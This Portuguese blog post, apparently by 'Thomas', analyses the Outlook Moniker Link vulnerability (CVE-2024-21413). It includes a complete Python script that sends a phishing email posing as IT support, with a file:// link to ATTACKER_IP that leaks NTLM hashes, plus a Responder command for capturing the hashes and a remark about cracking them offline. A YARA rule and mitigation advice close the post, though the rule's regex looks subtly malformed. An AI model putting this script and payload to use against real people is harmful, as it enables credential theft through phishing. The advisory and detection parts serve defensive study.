Análise Técnica e Exploração da Vulnerabilidade Moniker Link (CVE-2024-21413)

Em fevereiro de 2024, a Microsoft divulgou uma vulnerabilidade crítica identificada como CVE-2024-21413, apelidada de "Moniker Link". Descoberta por Haifei Li, da Check Point Research, esta falha afeta o Microsoft Outlook, permitindo o vazamento de credenciais NTLM e, potencialmente, a execução remota de código (RCE) ao contornar mecanismos de segurança como a Exibição Protegida (Protected View).

Visão Geral da Vulnerabilidade

O problema reside na forma como o Outlook processa hiperlinks específicos conhecidos como Moniker Links. Ao manipular um link, um atacante pode forçar o sistema a ignorar os avisos de segurança padrão, resultando no envio automático de hashes NTLMv2 para um servidor externo controlado pelo invasor assim que o usuário clica no link.

Métrica Detalhes
Gravidade Crítica (CVSS 9.8)
Impacto Vazamento de Credenciais e RCE
Complexidade Baixa
Versões Afetadas Office 2016, 2019, 2021 e Microsoft 365 Apps

O Mecanismo do Bypass

O Outlook utiliza a "Exibição Protegida" para abrir arquivos e links de fontes externas em um ambiente restrito. Links que utilizam o protocolo file:// normalmente acionariam alertas de segurança ao tentar acessar recursos de rede via SMB.

No entanto, a vulnerabilidade CVE-2024-21413 é explorada ao adicionar o caractere especial ! seguido de uma string ao final do link. Um exemplo de link malicioso seria:

<a href="file://IP_DO_ATACANTE/pasta/arquivo!exploit">Clique aqui</a>

A presença do ponto de exclamação faz com que o Outlook processe o link de uma maneira que ignora as validações de segurança, tentando carregar o recurso via SMB e enviando as credenciais do usuário local (NetNTLMv2) para o servidor remoto.

Prova de Conceito (PoC)

Para fins educacionais, o script abaixo demonstra como um e-mail com o payload malicioso pode ser estruturado em Python. Este código anvia um e-mail formatado em HTML contendo o link que explora o bypass.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

def disparar_exploit():
    # Configurações do servidor e contas
    servidor_smtp = "MAIL_SERVER_IP"
    porta_smtp = 25
    email_origem = "atacante@dominio.com"
    senha_origem = "senha_aqui"
    email_destino = "vitima@dominio.com"
    
    # Endereço do servidor do atacante para captura de hash
    ip_captura = "ATTACKER_IP"

    # Estrutura do e-mail
    mensagem = MIMEMultipart()
    mensagem['Subject'] = "Urgente: Atualização de Segurança"
    mensagem['From'] = formataddr(('Suporte TI', email_origem))
    mensagem['To'] = email_destino

    # Payload explorando o Moniker Link
    conteudo_html = f"""
    <html>
    <body>
        <p>Por favor, revise o documento de política de segurança no link abaixo:</p>
        <a href="file://{ip_captura}/compartilhamento/teste!analise">Documento_Seguranca_2024.docx</a>
    </body>
    </html>
    """

    mensagem.attach(MIMEText(conteudo_html, 'html'))

    try:
        with smtplib.SMTP(servidor_smtp, porta_smtp) as sessao:
            sessao.ehlo()
            sessao.login(email_origem, senha_origem)
            sessao.sendmail(email_origem, [email_destino], mensagem.as_string())
            print("[+] E-mail enviado com sucesso.")
    except Exception as e:
        print(f"[-] Erro ao enviar: {e}")

if __name__ == "__main__":
    disparar_exploit()

Captura de Credenciais

Para interceptar o hash NetNTLMv2, o atacante utiliza uma ferramenta como o Responder no servidor de destino. O comando básico para escuta seria:

sudo responder -I eth0 -rdwv

Quando a vítima clica no link dentro do Outlook, o sistema operacional tenta se autenticar no servidor SMB falso, e o Responder captura o hash, que pode então ser submetido a ataques de força bruta offline.

Detecção e Mitigação

A detecção pode ser feita através de regras YARA que buscam por padrões específicos de Moniker Links em arquivos de e-mail (EML/PST). Abaixo, um exemplo de lógica para detecção:

rule Deteccao_CVE_2024_21413 {
    meta:
        description = "Detecta tentativas de exploração do Moniker Link no Outlook"
        author = "Segurança Ofensiva"
    strings:
        $protocolo = "file://"
        $bypass = "!"
        $regex_link = /file:\/\/\\[^"']{5,500}![a-zA-Z0-9]+/
    condition:
        all of them
}

Medidas de Prevenção:

  • Atualização: Aplicar imediatamente os patches fornecidos pela Microsoft para o Office e Outlook.
  • Bloqueio de SMB: Restringir o tráfego SMB de saída (porta 445) para endereços IP externos à rede corporativa.
  • Conscientização: Treinar usuários para identificar links suspeitos, mesmo que pareçam apontar para arquivos locais ou de rede interna.

Tags: CVE-2024-21413 Microsoft Outlook NTLM SMB Segurança Ofensiva

Publicado em 5-30 12:13 por Thomas